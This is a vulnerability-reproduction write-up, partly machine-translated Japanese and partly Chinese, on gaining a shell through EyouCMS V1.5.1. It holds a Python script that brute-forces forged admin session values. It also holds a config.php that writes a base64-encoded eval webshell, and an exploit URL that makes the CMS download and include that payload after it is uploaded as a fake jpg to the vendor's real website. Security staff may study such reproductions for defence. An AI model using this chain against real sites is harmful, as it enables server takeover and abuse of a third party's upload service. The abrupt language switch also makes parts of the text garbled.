ホームページ  >  記事  >  運用・保守  >  EyouCMS V1.5.1 フロントエンド getshell 脆弱性を再現する方法

EyouCMS V1.5.1 フロントエンド getshell 脆弱性を再現する方法

PHPz
PHPz転載
2023-05-20 20:14:403264ブラウズ

0x00 脆弱性の紹介

Zanzan Network Technology EyouCMS (EyouCMS) は、中国 Zanzan Network Technology Company System ( CMS)。

Eyoucms v1.5.1 およびそれ以前のバージョンには、任意のユーザー バックグラウンド ログインとファイル インクルードの脆弱性があります。この脆弱性により、攻撃者は API を呼び出して管理者のセッションをフォアグラウンドに設定し、バックグラウンドでリモート プラグイン ダウンロード ファイルをダウンロードすることができます。 getshell が含まれています。

#0x01 影響を受けるバージョン

EyouCMS

0x02 環境セットアップ

ダウンロード

公式 Web サイト ダウンロード バージョン V1.5.1
ダウンロード リンク: https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip

インストール

phpstudy 統合環境による簡単な導入

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

##0x03 脆弱性分析

##フロントデスクで application/api/controller に管理者セッションを設定します/Ajax.php :215

##get_token如何进行EyouCMS V1.5.1 前台getshell漏洞复现

関数はフロント デスクが自由に呼び出すことができ、#仮パラメータの ##$name

変数も http 経由で渡されます。以下の図に示すように、トークン関数を追跡します。

ハイライト部分にセッションを設定する操作があり、名前は制御可能、値はリクエストのタイムスタンプmd5の値です。制御できません。

このセッション設定操作を通じて、バックグラウンド管理者のセッションの構築を試みることができます。次に、バックグラウンド管理者のログイン ロジックを整理します。 application/admin/controller/Base.php:54
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

では、admin_login_expire と admin_id

if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime)

如何进行EyouCMS V1.5.1 前台getshell漏洞复现admin_login_expire

# の 2 つのセッションが関係しています。 ## (このセッションは減算検証を実行し、特定の条件を満たす必要があります)

admin_id

(このセッションは存在するだけでよく、その値は)

これら 2 つのセッションを設定した後も、if 条件の判定に

check_priv


関数があることがわかります。

<pre class="brush:php;toolbar:false">if (0 &gt;= intval(session('admin_info.role_id')))</pre>admin_info.role_id<p><br><img src="https://img.php.cn/upload/article/000/000/164/168458488398297.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">(0 以下であれば十分です)</p>After 3 つのセッションをセットアップすると、バックグラウンドに入ることができます。図に示すように: <p><code>

バックグラウンド リモート プラグイン ダウンロードの getshell は、application/admin/controller/Weapp の $url を渡します。 .php:1235



. 次に、ホストが eyoucms.com である必要がある URL 解析を実行します。 如何进行EyouCMS V1.5.1 前台getshell漏洞复现つまり、プログラムは公式 Web サイトからのプラグインのダウンロードとインストールに制限されていますが、この検証は単純すぎるためバイパスできる可能性があります。

次に、ダウンロード リンクを要求し、それを解凍し、config.php をインクルードします。

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

後から行うプラグイン標準の判定は機能しなくなります。


0x04 脆弱性の悪用如何进行EyouCMS V1.5.1 前台getshell漏洞复现

フロント デスクで管理者セッションを設定する

まず、ログインに成功した後の管理者セッションと、ログインに成功した一般ユーザー セッションを削除します。ログインしていません 比較用

管理者:

一般ユーザー:


如何进行EyouCMS V1.5.1 前台getshell漏洞复现get_token 関数を呼び出して、admin_login_expire という名前のセッションを設定します


如何进行EyouCMS V1.5.1 前台getshell漏洞复现通常ユーザーのセッションが正常にセットアップされていることを確認してください。

同様に、admin_id と admin_info.roke_id を追加できます。


しかし、如何进行EyouCMS V1.5.1 前台getshell漏洞复现この md5 文字列は明らかに脆弱性分析の要件を満たしていないため、適切な md5 値が見つかるまでセッションはスクリプトによって常に更新されます

while 1 :
    admin_login_expire = api_psot("admin_login_expire")
    num_10 = admin_login_expire[2:12]
    if is_number(num_10):
        print("admin_login_expire=",num_10)
        break
while 1 :
    role_id = api_psot("admin_info.role_id")
    num_1 = role_id[2:3]
    if num_1 in ["a","b","c","d","e","f"]:
        print("role_id=",num_1)
        break
admin_id = api_psot("admin_id")
print("admin_id=",admin_id[2:-1])

実行結果:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

session:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

再经过application/admin/controller/Base.php:58和:106的intval()的转换:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

成功使用该PHPSESSID进入后台:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:

weappp\weapp\test\config.phpconfig.php

文件内容为写入webshell

<?php  file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>

压缩成weappp.zip,修改后缀为jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

此时webshell已成功写入:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

访问webshell:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x05 修复建议

升级EyouCMS至V1.5.2或以后版本。

以上がEyouCMS V1.5.1 フロントエンド getshell 脆弱性を再現する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。